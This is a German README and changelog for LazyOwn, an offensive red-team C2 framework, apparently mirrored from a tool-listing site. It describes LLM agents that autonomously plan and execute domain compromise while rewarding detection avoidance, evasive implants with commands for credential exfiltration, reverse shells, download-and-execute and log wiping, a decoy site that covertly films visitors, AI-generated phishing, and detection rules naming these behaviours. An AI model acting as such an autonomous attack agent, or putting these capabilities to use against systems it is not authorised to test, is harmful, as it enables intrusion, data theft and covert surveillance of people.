Der Bot telegram_hermes.py verbindet Telegram über die MCP-Schicht und das Hermes-Gateway mit dem vollständigen LazyOwn-Framework. Er unterstützt die direkte Ausführung von Shell-Befehlen, die Delegation an autonome Agenten, Cron-Planung, C2-Beacon-Interaktion und plattformübergreifendes Messaging.

Dateien

DateiZweck
telegram_hermes.pyTelegram-Bot — verbindet Telegram mit LazyOwn MCP und Hermes-Gateway
run_telegram_hermes.shStartskript unter Verwendung einer dedizierten venv
venv_telegram/Python-virtuelle Umgebung mit python-telegram-bot-Abhängigkeiten

Schnellstart```bash

1. Create the dedicated virtual environment

cd LazyOwn python3 -m venv venv_telegram source venv_telegram/bin/activate pip install python-telegram-bot nest_asyncio requests

2. Configure your bot token in payload.json

python3 -c "import json; p=json.load(open('payload.json')); p['telegram_token']='YOUR_BOTFATHER_TOKEN'; json.dump(p,open('payload.json','w'),indent=2)"

3. Launch the bot

./run_telegram_hermes.sh

root@kitploit:~
### Bot-Befehle

| Befehl | Beschreibung |
|---------|-------------|
| `/start <secret>` | Authentifizierung mit dem C2-Secret aus `payload.json` |
| `/cmd <command>` | Beliebigen LazyOwn-Shell-Befehl ausführen |
| `/sitrep` | Vollständiger Kampagnen-Lagebericht |
| `/config [key] [val]` | payload.json-Werte anzeigen oder setzen |
| `/addcli <client_id>` | Aktiven C2-Client festlegen |
| `/clients` | Online-C2-Implantate auflisten |
| `/c2 <command>` | Befehl an C2-Beacon senden |
| `/agent <goal>` | Autonomen Groq/Ollama-Agenten ausführen |
| `/delegate <goal>` | Aufgabe an Hermes-Subagenten delegieren |
| `/cron <schedule> <cmd>` | Wiederkehrende LazyOwn-Befehle planen |
| `/status` | Daemon- und Autonomie-Status anzeigen |
| `/stop` | Laufenden autonomen Daemon stoppen |
| `/download <file>` | Dateien aus sessions/ herunterladen |
| Dokument hochladen | Dateien zum C2-Beacon hochladen |

Jede Klartextnachricht ohne `/`-Präfix wird als direkter LazyOwn-Befehl behandelt. Rate Limiting (5 Befehle/Minute) und Session-Timeouts (30 Minuten) werden erzwungen.

### Architektur

Der Bot verwendet dieselbe PTY-basierte Befehlsausführung wie der MCP-Server (`skills/lazyown_mcp.py`), sodass jeder LazyOwn-Befehl, Alias und jedes Addon ohne direkte Python-Imports funktioniert. Autonome Aufgaben (`/agent`, `/delegate`) starten Groq- oder Ollama-Agenten über die LazyOwn-Shell, und C2-Befehle (`/c2`, `/clients`) verwenden die authentifizierten Endpunkte `/api/command` und `/get_connected_clients`.

---

## Fortgeschrittene KI-Architektur (MoE + RL + SWAN + Hive Mind)

LazyOwn integriert einen erstklassigen Multi-Agenten-KI-Stack, der sich durch jedes Engagement anpasst und verbessert:

### Mixture of Experts (MoE) — `modules/moe_router.py`

Fünf LLM-Experten sind mit Fähigkeits-Tags, Basisgewichten und Kostenstufen registriert:

| Experte | Backend | Stärken |
|--------|---------|-----------|
| `groq_fast` | Groq llama-3.1-8b-instant | Recon, Enumeration, schnelle Entscheidungen |
| `groq_powerful` | Groq llama-3.3-70b-versatile | Exploitation, Post-Ex, komplexe Schlussfolgerungen |
| `groq_deepseek_r1` | Groq deepseek-r1-distill-llama-70b | Privilegieneskalation, schrittweises Schlussfolgern |
| `ollama_reason` | Ollama deepseek-r1:1.5b | Offline, datenschutzsicher, detaillierte Analyse |
| `groq_gemma` | Groq gemma2-9b-it | Laterale Bewegung, Credential-Analyse |

Das Routing verwendet temperatur-skalierte Softmax (`T = max(0.5, 1.5/(1+calls/50))`) über angepasste Gewichte. Die Gewichte passen sich selbst über einen exponentiellen gleitenden Durchschnitt der Belohnung pro Experte im Zeitverlauf an.

### Reinforcement Learning from Models (RLM) — `modules/rl_trainer.py`

Tabellarisches Q-Learning trainiert die Routing-Richtlinie über Engagement-Sessions:```
State:  (task_type, engagement_phase, recent_reward_bucket)
Action: expert_id
Reward: r_raw - λ * detection_prob * |r_raw|    (λ=0.5)
Update: Q(s,a) ← Q(s,a) + α * [r + γ * max_a' Q(s',a') - Q(s,a)]

Hyperparameter: α=0.10, γ=0.90, ε_start=0.20, ε_min=0.05, ε_decay=0.995. Epsilon-Greedy-Exploration zerfällt pro Update. Q-Werte werden sitzungsübergreifend in sessions/expert_qvalues.json persistiert.

SWAN Orchestrator — skills/swan_agent.py

Die Top-Level-Integrationsschicht verbindet MoE + RL + Detection Oracle + Hive Memory:

  • swan_run: Einzelexperten-Ausführung mit RL-gesteuertem Routing und Q-Update nach der Ausführung
  • swan_ensemble: N Experten parallel via ThreadPoolExecutor, synthetisiert durch WeightedTextAggregator
  • OutcomeEvaluator: Reward = 0, wenn Erkennungswahrscheinlichkeit ≥ 70% (erkennungsbewusste Reward-Gestaltung)
  • Jedes Ergebnis wird im Hive Memory (ChromaDB) für sitzungsübergreifendes Lernen gespeichert

Detection Oracle (Blue Team Mirror) — modules/detection_oracle.py

Sagt die Erkennungswahrscheinlichkeit vor der Ausführung voraus, unter Verwendung von 17 Sigma-lite-Regeln, die Folgendes abdecken: Credential Access (LSASS, SAM, DCSync), Lateral Movement (PsExec, WMI, evil-winrm), Privilege Escalation (Token-Impersonation, Named Pipes), Exploitation, Recon, C2 und Brute Force.

Wahrscheinlichkeitsaggregation: P(detect) = 1 - ∏(1 - P_i) über alle ausgelösten Regeln.

Purple Team Closed Loop — modules/auto_purple.py

Automatisierte Red-vs-Blue-Messschleife, die offensive Aktionen ausführt, LazyOwnBT auf Erkennung abfragt und Ergebnisse zur Kalibrierung an das Detection Oracle zurückmeldet.```bash (LazyOwn) > purple_exec nmap -sV 10.10.11.5 recon # execute + detect (LazyOwn) > purple_score # show detection rates (LazyOwn) > purple_report # export CSV + JSON (LazyOwn) > purple_dashboard # Textual TUI

root@kitploit:~
**Erkennungsmethoden:**

| Methode | Was sie prüft |
|--------|----------------|
| `ai_test` | LazyOwnBT ML-Modellvorhersage |
| `proc_scan` | Verdächtige Prozessnamen |
| `net_scan` | Ungewöhnliche Verbindungen/Ports |
| `log_analyze` | Auth-/Syslog-Anomalien |
| `fim_scan` | Änderungen der Dateiintegrität |
| `redteam_hunt` | Threat-Hunting-Muster |
| `sigma_rules` | 10 Sigma-Regeln (mimikatz, Reverse Shell, Privesc, nmap, Webshell, /etc/shadow, Cron, SMB, Exfil, Injection) |

**Sigma-Regeln-Erkennungsengine** (LazyOwnBT `lazyownbt/detection.py`):

| ID | Regel | Stufe |
|----|------|-------|
| LAZYOWN-001 | Mimikatz Credential Dump | critical |
| LAZYOWN-002 | Reverse Shell Pattern | critical |
| LAZYOWN-003 | Privilege Escalation via Sudo | high |
| LAZYOWN-004 | Nmap Scan Detected | medium |
| LAZYOWN-005 | Webshell Execution | critical |
| LAZYOWN-006 | Process Injection | high |
| LAZYOWN-007 | /etc/shadow Access | critical |
| LAZYOWN-008 | Cron Persistence | high |
| LAZYOWN-009 | Lateral Movement SMB | high |
| LAZYOWN-010 | Data Exfiltration | high |

**Ausgabedateien:**
- `sessions/purple_dataset.csv` — ML-Trainingsdatensatz
- `sessions/purple_audit.jsonl` — vollständiges Audit-Log
- `sessions/detection_feedback.jsonl` — Oracle-Kalibrierung

**Hinweis:** Für den Produktiveinsatz mit einem echten SIEM (Wazuh, Elastic SIEM, Splunk) über auditd-Log-Weiterleitung integrieren. Die integrierten Sigma-Regeln sind nur für Offline-Tests gedacht.

### Hive Mind — `skills/hive_mind.py`

Multi-Agenten-Architektur mit Königin+Drohnen und gemeinsamem Speicher:
- **QueenBrain** (Claude): High-Level-Orchestrierung + ConsensusProtocol für risikoreiche Aktionen
- **DronePool** (Groq/Ollama): Parallele Ausführung von Recon-/Exploit-/Cred-/Lateral-/Privesc-Aufgaben
- **HiveMemory**: ChromaDB semantisch + SQLite episodisch + Parquet Langzeitspeicher
- **EpisodeReflectionEngine**: Extraktion von Lektionen nach der Kampagne, gespeichert als `sessions/campaign_lessons.jsonl`

### Autonomous Campaign Intelligence (ACI) — `skills/aci_planner.py`

**Das erste C2-Framework, das autonom plant, ausführt und lernt.**

ACI überbrückt die Lücke zwischen einem Engagement-Ziel in natürlicher Sprache und einer vollständig
autonomen Ausführungsschleife. Kein Konkurrent (Cobalt Strike, Sliver, Havoc,
Metasploit) macht dies End-to-End:```
Operator: "Compromise the domain controller at corp.internal
           starting from a phishing foothold on 10.10.11.5"
         ↓
ACI Planner ──► MITRE ATT&CK decomposition (LLM-backed, static fallback)
                 recon → exploit → exec → privesc → cred → lateral → report
         ↓
ObjectiveStore ─► 20+ concrete objectives injected into sessions/objectives.jsonl
         ↓
auto_loop / autonomous_daemon ─► executes each objective autonomously
         ↓
ACIEngine monitors ─► detects stalled phases (blocked_count ≥ 3)
         ↓
ACIReplan ──► LLM generates alternative techniques for blocked phases
         ↓
ACIReflector ──► appends lessons to sessions/campaign_lessons.jsonl
                 feeds back into the next engagement

Drei MCP-Tools:

ToolWas es tut
lazyown_aci_planZerlegt ein Ziel → ATT&CK-Plan → injiziert Objectives
lazyown_aci_statusLive-Phasenaufschlüsselung, Abschluss-%, Replan-Empfehlung
lazyown_aci_replanErzwingt adaptiven Replan bei Stillstand; generiert automatisch Lessons

Schnellstart:```python

1. Submit the engagement goal

lazyown_aci_plan( goal="Compromise the DC at corp.internal", target="10.10.11.5", scope=["10.10.11.0/24"], domain="corp.internal", os_hint="windows", )

2. Start autonomous execution

lazyown_auto_loop(target="10.10.11.5", max_steps=20)

3. Monitor progress

lazyown_aci_status()

4. When blocked (blocked_count >= 3)

lazyown_aci_replan(reason="Kerberoasting blocked by AV, try AS-REP roasting")

root@kitploit:~
**Was ACI im Vergleich zu anderen Tools einzigartig macht:**

- Cobalt Strike / Sliver / Havoc sind C2-Frameworks — der Operator plant jeden Schritt
- Metasploit hat Automatisierung, aber keine Intelligenz
- CALDERA emuliert feste ATT&CK-Prozeduren, kann sich aber nicht an neuartige Umgebungen anpassen
- **ACI plant, führt aus, plant neu und lernt — kontinuierlich, über Engagements hinweg**

**Persistenz:**

| Datei | Inhalt |
|------|----------|
| `sessions/aci_plan.json` | Aktiver Plan: Phasen, Ziele, Abschlussstatus |
| `sessions/aci_history.jsonl` | Archivierte abgeschlossene/aufgegebene Pläne |
| `sessions/campaign_lessons.jsonl` | Von ACIReflector extrahierte Lektionen |

**CLI-Nutzung (Standalone):**```bash
python3 skills/aci_planner.py plan "Compromise DC" --target 10.10.11.5 --os windows
python3 skills/aci_planner.py status
python3 skills/aci_planner.py replan "technique blocked"
python3 skills/aci_planner.py reflect

Autonomer Daemon — skills/autonomous_daemon.py

Vier asyncio-Rollen in einem einzigen Prozess — kein Claude zwischen den Schritten erforderlich:``` Role 1 — ObjectiveLoop : watches objectives.jsonl, takes + executes Role 2 — ExecutionEngine : 6-layer cascade per step, RL Q-table feedback Reactive → Parquet → Bridge → SWAN(MoE+RL) → LLM → Fallback Role 3 — WorldModelWatcher : graph centrality + pivot candidate tracking Role 4 — DroneCoordinator : hive drone spawning on recon/cred/service findings

root@kitploit:~
SWAN im Daemon aktivieren: `export AUTO_USE_SWAN=1` vor dem Start.

ACI speist in den Daemon ein: Ziele, die von `lazyown_aci_plan` injiziert werden, werden
automatisch von Rolle 1 (ObjectiveLoop) aufgegriffen — keine zusätzliche Konfiguration erforderlich.

### Graph-basiertes Reasoning — `modules/world_model.py`

NetworkGraph verfolgt alle entdeckten Beziehungen (Hosts, Dienste, Credentials, Trust-Pfade) und berechnet normalisierte Degree-Zentralität, um Pivot-Kandidaten hervorzuheben. Die Top-3-Kandidaten werden in jeden `to_context_string()`-Aufruf injiziert, wodurch die autonome Schleife stets die wertvollsten Lateral-Movement-Ziele kennt.

## Authorization Scope Guard

Ein Red-Team-Framework, das sein Ziel aus `payload.json` liest, hat eine scharfe Kante:
Ein verirrtes `rhost` feuert offensive Befehle auf einen nicht autorisierten Host ab. Der Scope Guard
ist das Sicherheitsnetz. Jeder interaktive Befehl fließt durch einen einzigen Engpass,
der das aktive Ziel gegen Ihren autorisierten Engagement-Scope prüft, bevor der
Befehl ausgeführt wird.```bash
(LazyOwn) > scope add 10.10.11.0/24       # CIDR, bare IP, hostname, or *.corp.local wildcard
(LazyOwn) > scope add dc.corp.local
(LazyOwn) > scope mode enforce            # off | warn (default) | enforce
(LazyOwn) > scope                         # show current scope and posture
  • Fail-open by Design: inaktiv, solange der Scope leer oder der Modus off ist, sodass bestehende Kampagnen unberührt bleiben, bis Sie sich anmelden. Jeder interne Fehler erlaubt den Befehl, anstatt den Operator zu blockieren.
  • warn kennzeichnet offensive Befehle außerhalb des Scopes; enforce blockiert sie bis zur ausdrücklichen Bestätigung (und verweigert in nicht-interaktiven Sitzungen).
  • Nur offensive Kill-Chain-Kategorien sind eingeschränkt; Reporting, Konfiguration und lokale Helfer laufen immer. Neue offensive do_*-Befehle werden automatisch klassifiziert.
  • Gespeichert in payload.json (scope, scope_enforcement); reine Logik lebt in cli/scope_guard.py mit null Kopplung an die Shell.

Reproduzierbare Installationen

Abhängigkeiten werden einmalig in pyproject.toml deklariert (Single Source of Truth) und für reproduzierbare Installationen gepinnt:

  • requirements.txt — plattformübergreifender Core-Lock (keine CUDA-Wheels).
  • requirements-ml.txt — optionaler, schwerer ML-Stack (torch/CUDA, scikit-learn).
  • install.sh läuft im Strict-Mode und ist idempotent. Die Standardinstallation ist leichtgewichtig; Extras können mit --with-ml (2 GB ML-Stack), --with-ollama (lokale LLM-Runtime) und --with-tools (gängige externe Binaries) aktiviert werden.
  • Entwickler: pip install -e .[ml,dev].

Hauptmerkmale

  1. 741 Angriffsbefehle: Vollständige Kill-Chain-Abdeckung über Linux, Windows, macOS und BSD — Recon, Enum, Exploit, Privesc, Lateral Movement, Credential Access, C2, Exfiltration und Reporting.
  2. Interaktive cmd2-CLI: Fuzzy-Autovervollständigung, neon-box-konfigurierbarer Prompt, Befehlspalette (Ctrl+K), inline reaktive Hinweise nach jedem Befehl und ein Textual-TUI-Dashboard.
  3. Integrierter Marketplace: yara_marketplace (10 integrierte Regeln: Ransomware, C2, Webshells, Obfuskation, Privesc), nuclei_marketplace (500+ Templates), marketplace für Community-Plugins/Addons — alle über curses-TUI durchsuchbar.
  4. auto_pwn & hunt: Autonome Exploit-Verkettung und bedrohungsinformierte Recon — auto_pwn durchläuft Kill-Chain-Phasen automatisch, hunt führt gezielte Discovery basierend auf bekannten TTPs aus.
  5. Unified Post-Command Tips Engine: Intelligente Vorschläge (Kill-Chain-Hinweise, Protips, Curiosity, Autosuggest) mit ELO-Rating, Badges (First Blood, Arsenal Master, Kill Chain Master) und VRI-Belohnungen — gamifizierte Operator-Erfahrung.
  6. Automatische Session-Krypto: auto_crypto verschlüsselt sensible Sitzungsdateien beim Beenden und entschlüsselt sie beim Start (PBKDF2HMAC + Fernet), transparent für den Operator.
  7. AI-Native Architektur: MoE (Mixture of Experts) Router, RL-Training, SWAN-Orchestrator, Hive Mind Multi-Agent-System, ACI (Autonomous Campaign Intelligence) Planner — das erste C2, das autonom plant, ausführt und lernt.
  8. Mehrstufige obfuskierte Go-Implantate: Zweistufige XOR-kodierte Beacon-Auslieferung mit C-Stubs, AES-256-verschlüsselte C2-Kanäle, VM/Sandbox/Debugger-Evasion, Polymorphismus und LOLBAS-basierte Stager. Getestet auf Kernel 6.12 und Windows 10.0.20348.
  9. Linux BOF (Beacon Object Files): Erstes Open-Source-C2-Framework mit BOF-Unterstützung für Linux über ELF dlopen-Runtime. Quellkompatible datap-API mit Windows-BOF-Vertrag. Direkte Syscalls und io_uring-Unterstützung.
  10. Decoy Blue Team Trap: Flask-Decoy-Website zeichnet Video/Audio auf und erfasst Bilder unbefugter Besucher (Blue-Team-Operatoren, die das C2 sondieren), gespeichert in sessions/captured_images.
  11. Bloodhound Attack Surface: Bloodhound-ZIP-Daten hochladen, um interaktive Angriffsflächen-Graphen mit Filterung und Suche zu rendern, ergänzt durch lazynmap-Discovery-Daten.
  12. AI-gestützte Phishing-Engine: Groq/DeepSeek-AI-generierte E-Mail-Templates mit dynamischer URL-Generierung, Tracking-Pixeln, URL-Verkürzung und Test-Endpunkt-Erstellung.

  1. Decoy: Wenn die IP-Adresse nicht mit 127.0.0.1 oder lhost übereinstimmt, zeigt Flask eine Decoy-Website an. Diese Decoy-Site zeichnet ein Video mit Audio auf und macht Bilder vom Eindringling (sessions/captured_images) — wie eine kleine Version von Storm Breaker, um herauszufinden, wer der Blue-Team-Operator ist.

image

  1. Adversary Simulation: Fortgeschrittene Fähigkeiten zur Generierung von Red-Team-Operationssitzungen, die akribische und effektive Simulationen gewährleisten.

adversay emulator

  1. Task Scheduling: Verwenden Sie den cron-Befehl, um Aufgaben zu planen und zu automatisieren, was persistente Bedrohungssimulationen ermöglicht.
  2. Echtzeitergebnisse: Erhalten Sie sofortiges Feedback und Ergebnisse von Sicherheitsbewertungen, um zeitnahe und genaue Erkenntnisse zu gewährleisten.
  3. RAT- und Botnet-Fähigkeiten: Enthält Funktionen für Fernzugriff und -steuerung, die die Verwaltung von Botnets und persistenten Bedrohungen ermöglichen.
  4. C2-Framework IA Powered: Fungiert als Command-and-Control-(C2)-Framework und ermöglicht verdeckte Kommunikation und Kontrolle über kompromittierte Systeme. Und viele IA-Bots zur Verbesserung Ihrer Opsec. Entwickelt in Flask, bietet eine benutzerfreundliche Oberfläche für nahtlose Interaktion. Jetzt mit Netzwerk-Discovery-Fähigkeiten, die es uns ermöglichen, die Angriffsfläche auf unserer Client-Karte klar und intuitiv mit Filtern und einem Suchfeld zu sehen. Neue Funktionen kommen bald. image

vulnbot

  • C2 LazyAddon Creator: Geführte /addons-Seiten im C2-Dashboard zum Erstellen von lazyaddons/*.yaml-Integrationen, ohne YAML von Hand anzufassen. Ein Formular zeigt jede Addon-Option (Name, Beschreibung, Autor, Version, aktiviert, Ziel-OS, Trigger-Dienste, Kategorie, Modultyp, Installationstyp, Parameter, Tool-Block, C2-Extras, Umgebungsvariablen) mit Tooltips, Platzhaltern und feldbezogener Hilfe. Platzhalter-Chips ({rhost}, {url}, deklarierte Parameter und jeder payload.json-Schlüssel) können per Drag-and-Drop in Befehlseingabefelder gezogen werden. Serverseitige Validierung lehnt unsichere Namen, Path Traversal, unbekannte Platzhalter und fehlerhafte URLs ab, bevor die Datei geschrieben wird; Schreibvorgänge sind atomar und sicher (temporäre Datei mit restriktiven Berechtigungen via mkstemp + fchmod erstellt, geflusht und fsynced, dann mit os.replace befördert). Die Listen- und YAML-Vorschauseiten vervollständigen den Lebenszyklus. Jede mutierende Route ist CSRF-geschützt. Vertrag: lazyc2/addon_creator.py + lazyc2/blueprints/addons.py, abgedeckt durch tests/test_addon_creator.py und das tests/run_mutation_addon_creator.py-Mutation-Gate.
  1. Undetectable, Obfuscated, and Malleable GO Implants: Der Befehl mit der Payload kommt standardmäßig obfuskiert. Anstatt den Beacon direkt herunterzuladen, lädt er einen in C erstellten Stub herunter, um den Beacon herunterzuladen, der mit einem Schlüssel XOR-kodiert ist. Er wird dann im Speicher dekodiert und in einem temporären Pfad mit einem eindeutigen Namen ausgeführt, um Erkennung zu umgehen, wobei svchost unter Windows und lazyservice unter Linux verwendet wird. Dies führt ein zweistufiges Implantat aus, das auf Kernel 6.12 und Windows [Version 10.0.20348.3807] getestet wurde. Zusätzlich wurde ein alternativer Windows-Stub mit LOLBAS PS1 und Csharp hinzugefügt, zusammen mit einer Version von ebird3 in LOLBAS, die dieselben Technologien verwendet. Der Go-Beacon ist ein multiplattformfähiges, nicht erkennbares und hochgradig obfuskiertes Implantat, das für fortgeschrittene Red-Teaming-Operationen maßgeschneidert ist. Es verfügt über Polymorphismus, arbeitet in einem konfigurierbaren Stealth-Modus und sichert die Kommunikation mit AES-256-verschlüsselten Kanälen. Der Beacon fügt sich in Umgebungen ein, indem er legitimen Netzwerkverkehr simuliert, und entgeht der Erkennung, indem er virtuelle Maschinen, Sandboxes, Container und Debugger identifiziert und sein Verhalten dynamisch anpasst. Mit minimalem Footprint unterstützt er robuste Netzwerk-Discovery durch ping-basierte Host-Enumeration und Port-Scanning konfigurierter Ziele. Das Implantat zeichnet sich durch Exfiltration sensibler Daten aus, einschließlich privater Schlüssel, AWS-Credentials, Browser-Credentials und Systemprotokollen. Es bietet dynamisches TCP-Proxying zur Verkehrsumleitung, Privilegieneskalationsversuche und Systemprotokollbereinigung. Persistenz wird über Windows, Linux und macOS hinweg durch geplante Aufgaben, systemd, crontab und LaunchAgents erreicht. Zusätzliche Fähigkeiten umfassen Adversary Emulation (MITRE ATT&CK), Dateizeitstempel-Obfuskation und Verzeichniskomprimierung zur Exfiltration. Gebaut mit Go vet für Code-Gesundheit, integriert sich das Implantat nahtlos in Dockerisierte Umgebungen und AWS Firecracker microVMs, was es zu einem Eckpfeiler moderner Red-Team-Infrastruktur macht. Gebaut mit Go vet für Code-Integrität, nutzt das Implantat Cloudflare zur Verkehrsobfuskation und leitet Kommunikation durch sichere, hochperformante Redirectoren, um die C2-Infrastruktur zu verbergen. Das Go-Binary ist mit Garble-Obfuskation gehärtet, was Reverse Engineering und signaturbasierte Erkennung vereitelt. Unter Windows verwendet das Implantat Extension Camouflage, um sich als harmlose Dateien auszugeben (z. B. .pdfx), und bettet benutzerdefinierte Icons über rsrc für überzeugendes Social Engineering ein.

image

Verfügbare Beacon-Befehle:

  • stealth_off Stealth beenden, Deaktiviert den Stealth-Modus und ermöglicht normale Operationen.
  • stealth_on Ninja-Modus betreten, Aktiviert den Stealth-Modus, minimiert Aktivitäten zur Vermeidung von Erkennung.
  • download: download:[filename] Lädt eine Datei vom C2 auf den kompromittierten Host herunter.
  • upload: [filename]: Lädt eine Datei vom kompromittierten Host zum C2 hoch.
  • rev: Stellt eine Reverse Shell zum C2 über den konfigurierten Port her.
  • exfil: Exfiltriert sensible Daten (z. B. SSH-Schlüssel, AWS-Credentials, Befehlshistorien).
  • download_exec: download_exec:[url]: Lädt ein Binary von einer URL herunter und führt es aus (nur Linux, gespeichert in /dev/shm).
  • obfuscate: [filename]: Obfuskiert Dateizeitstempel, um forensische Analyse zu behindern.
  • cleanlogs: Löscht Systemprotokolle (z. B. /var/log/syslog unter Linux, Ereignisprotokolle unter Windows).
  • discover: Führt Netzwerk-Discovery durch und identifiziert Live-Hosts via Ping.
  • adversary:[id_atomic]: Führt einen Adversary-Emulation-Test (MITRE ATT&CK) mit heruntergeladenen Atomic-Red-Team-Framework-Skripten aus.
  • softenum: Listet nützliche Software auf dem Host auf (z. B. docker, nc, python).
  • netconfig: Erfasst und exfiltriert Netzwerkkonfiguration (z. B. ipconfig unter Windows, ifconfig unter Linux).
  • escalatelin: Versucht Privilegieneskalation unter Linux (z. B. via sudo -n oder SUID-Binaries).
  • proxy:[listenip]:[listenport]:[targetip]:[targetport] Startet einen TCP-Proxy, der Verkehr von listenAddr zu targetAddr umleitet.
  • stop_proxy:[listenaddr] Stoppt einen TCP-Proxy auf der angegebenen Adresse.
  • portscan: Scannt Ports auf entdeckten Hosts und dem konfigurierten rhost.
  • compressdir:[directory]: Komprimiert ein Verzeichnis in eine .tar.gz-Datei und exfiltriert sie.
  • sandbox: Ruft Informationen über das System ab, ob es eine Sandbox ist oder nicht.
  • isvm: Ruft Informationen über das System ab, ob es eine virtuelle Maschine ist oder nicht.
  • debug: Ruft Informationen über das System ab, ob das Ziel gedebuggt wird oder nicht.
  • persist: Versucht, einen Persistenzmechanismus im Zielsystem zu etablieren.

v0.2.161 Highlights

Unified Kill-Chain (Single Source of Truth)

  • modules/killchain.py berechnet die Phase; jede Oberfläche (CLI /killchain, /api/killchain, C2 /api/data+/api/dashboard, GUI2-Panel) rendert ihren snapshot().
  • Beacon-Befehlshistorie pro Implantat: /api/beacon_results/<client_id>, gestützt auf modules/beacon_history.py (JSONL, pfadsicher).
  • CLI /killchain auto on|off|N Live-Auto-Refresh; Flags killchain_auto_every / killchain_auto_on_phase_change.
  • C2 entschlüsselt den Sitzungszustand beim Boot und verschlüsselt ihn beim sauberen Beenden erneut, sodass Beacons und die Kill-Chain echte Werte widerspiegeln, während der Server läuft.

Marketplace (YARA + Nuclei)

Durchsuchen, suchen und installieren Sie aus einer einheitlichen Marketplace-TUI:

  • yara_marketplace list|search|install|info -- 10 integrierte Regeln (Ransomware, C2, Webshells, Obfuskation, Privesc)
  • nuclei_marketplace list|search|install|info -- 500+ Templates aus ~/nuclei-templates
  • marketplace list|search|install|update -- 137 YAML-Addons, 57 Plugins, 69 Tools

auto_pwn & hunt

  • auto_pwn -- autonomer Kill-Chain-Durchlauf von Recon bis Exploitation
  • hunt -- bedrohungsinformierte Recon: mappt bekannte TTPs auf entdeckte Dienste

Reactive Intelligence

  • Post-Command-Tips-Engine: Kill-Chain-Hinweise, Protips, Curiosity-Belohnungen
  • ELO-Rating, Badges (First Blood, Arsenal Master, Kill Chain Master)
  • Inline reaktive Hinweise: "Nächster Befehl"-Vorschläge nach jeder Aktion

Auto Crypto

Transparente Sitzungsverschlüsselung beim Beenden / Entschlüsselung beim Start via PBKDF2HMAC + Fernet.

Neue Playbooks

7 APT-Profile: Azure Graph API, CICD Poisoning, Entra Connect, macOS TCC, OAuth Token Theft, SCCM/MECM, VDI Breakout.

Interaktiver Chain-Modus

chainmode on startet einen world-model-getriebenen Verkettungsfluss: Nach jedem Befehl bietet die Shell rangierte nächste Schritte an (Enter = Top-Vorschlag, 1..N = rangierte Alternative, beliebiger Befehl = Override, skip = manuell, ESC/Ctrl+C/off = verlassen). Ungültige Auswahlen werden erneut abgefragt, anstatt stillschweigend übersprungen, und der Fluss pausiert automatisch nach max_steps verketteten Befehlen. Der Zustand bleibt in sessions/chain_mode.json erhalten (atomare Schreibvorgänge). Vertrag: cli/chain_mode.py + cli/command_chain.py.

Feature-Politur (UX + Security Hardening)

  • Evidenzbasierte Inline-Hinweise: Jeder Vorschlag trägt Verb, Konfidenz ([0, 99], niemals eine unehrliche 100%), Grund und Provenienz. Vertrag: cli/reactive_hints.py + cli/recommendation_signals.py.
  • Unified Tips Engine vollständig durch rich gerendert (keine rohen ANSI-Escapes); Registry-Tip-Text kann das Markup-Rendering niemals brechen. Vertrag: cli/tips_engine.py.
  • cli/noise_verbs.py ist die Single Source of Truth für die nicht-ausführbaren Verb-Listen, die von Hinweisen, Tips und Chain-Modus gemeinsam genutzt werden.
  • Tenant-gebundene API-Schlüssel: core/api_authz.py implementiert nun das dokumentierte Rotations-Grace-Window, kopiert Berechtigungen vom rotierten Schlüssel (Regression behoben), gibt JSON 401/403 zurück (sicher mit TRAP_HTTP_EXCEPTIONS), und der C2 /api/health/tenant-Endpunkt wird tatsächlich durchgesetzt. Mutation-Gate: tests/run_mutation_api_authz.py (7/7 getötet).
  • core/logging.py install_json_handler bewahrt bestehende Handler und ist idempotent.
  • Strukturierte ELO-Synchronisierung berücksichtigt umgeleitete User-Store-Pfade und Tests sind host-login-unabhängig.

Security Hardening (SDD+TDD+BDD)

Zentralisierte Sicherheitsprimitive in core/hardening.py mit 48 BDD-Style-Tests (tests/test_security_hardening_v3.py). Ausführen mit:```bash pytest tests/test_security_hardening.py tests/test_security_hardening_v2.py tests/test_security_hardening_v3.py -v mutmut run # 122/228 killed, 53.5% kill rate on core/hardening.py

root@kitploit:~
**Angewandte wichtige Korrekturen:**
- `shell=True` entfernt aus `anti_forensics.py`, `pivoting.py`, `icmp_server.py`, `resource_script.py`, `command_executor.py`, `postexp_migrated.py` (22 Instanzen)
- `os.system()` entfernt aus `persist_migrated.py`, `cloud.py`, `lazyown.py` (4 Instanzen), `misc_migrated.py`
- `os.popen()` entfernt aus `websocket_beacon.py`, `evasive_payload.py`
- `sshpass -p` ersetzt durch `sshpass -e` + Umgebungsvariable über 4 Dateien (C2, lateral, exfil, persist)
- Fest codierter Verschlüsselungsschlüssel entfernt aus `phishing_orchestrator.py` (ENCRYPTION_KEY obligatorisch)
- XSS im C2-Banner behoben mit `html.escape()`
- Befehlsinjektion über rhost in der Zwischenablage behoben mit `safe_clipboard_copy()`
- cmd2 `CMD_ATTR_HELP_CATEGORY` umbenannt in `COMMAND_ATTR_HELP_CATEGORY` (cmd2 4.2.2-Kompatibilität)

---

## Befehlsfähigkeiten

LazyOwn bietet 741 Befehle über 13 Kill-Chain-Phasen, verfügbar sowohl über CLI als auch über das Web-C2-Dashboard:

| Phase | Hervorzuhebende Befehle |
|-------|-------------------|
| Recon | `lazynmap`, `ping`, `whatweb`, `gobuster`, `ffuf`, `dig`, `dnsenum`, `finalrecon` |
| Enum | `enum4linux`, `cme`, `bloodhound`, `nuclei`, `kerbrute`, `ldapdomaindump` |
| Exploit | `auto_pwn`, `hunt`, `ss` (searchsploit), `venom`, `lazymsfvenom`, `searchhash` |
| Post-Exploit | `linpeas`, `winpeas`, `blacksandbeacon`, `mimikatzpy`, `disableav` |
| Persistenz | `persist`, `backdoor`, `cron`, `schtask`, `createwebshell` |
| PrivEsc | `getcap`, `sudo`, `adcs_check`, `privesc_predictor` |
| Cred Access | `secretsdump`, `evil`, `getnpusers`, `hashcat`, `john`, `spraykatz` |
| Lateral | `psexec`, `wmiexec`, `ssh_cmd`, `chisel`, `ligolo`, `bloodhound` |
| Exfil | `exfil`, `upload_gofile`, `encrypt`/`decrypt`, `compressdir` |
| C2 | `lazyc2`, `blacksandbeacon`, `createrevshell`, `listener_go` |
| Reporting | `report`, `lazyreport`, `campaign_sitrep`, `timeline`, `dashboard` |
| AI/Agents | `auto_loop`, `recommend_next`, `playbook_generate`, `playbook_run`, `orchestrate` |
| Marketplace | `yara_marketplace`, `nuclei_marketplace`, `marketplace`, `lab` |

Kernverwaltung: `assign`, `show`, `doctor`, `wizard`, `scope`, `collab_join`, `config_banner`, `palette`, `fz`.

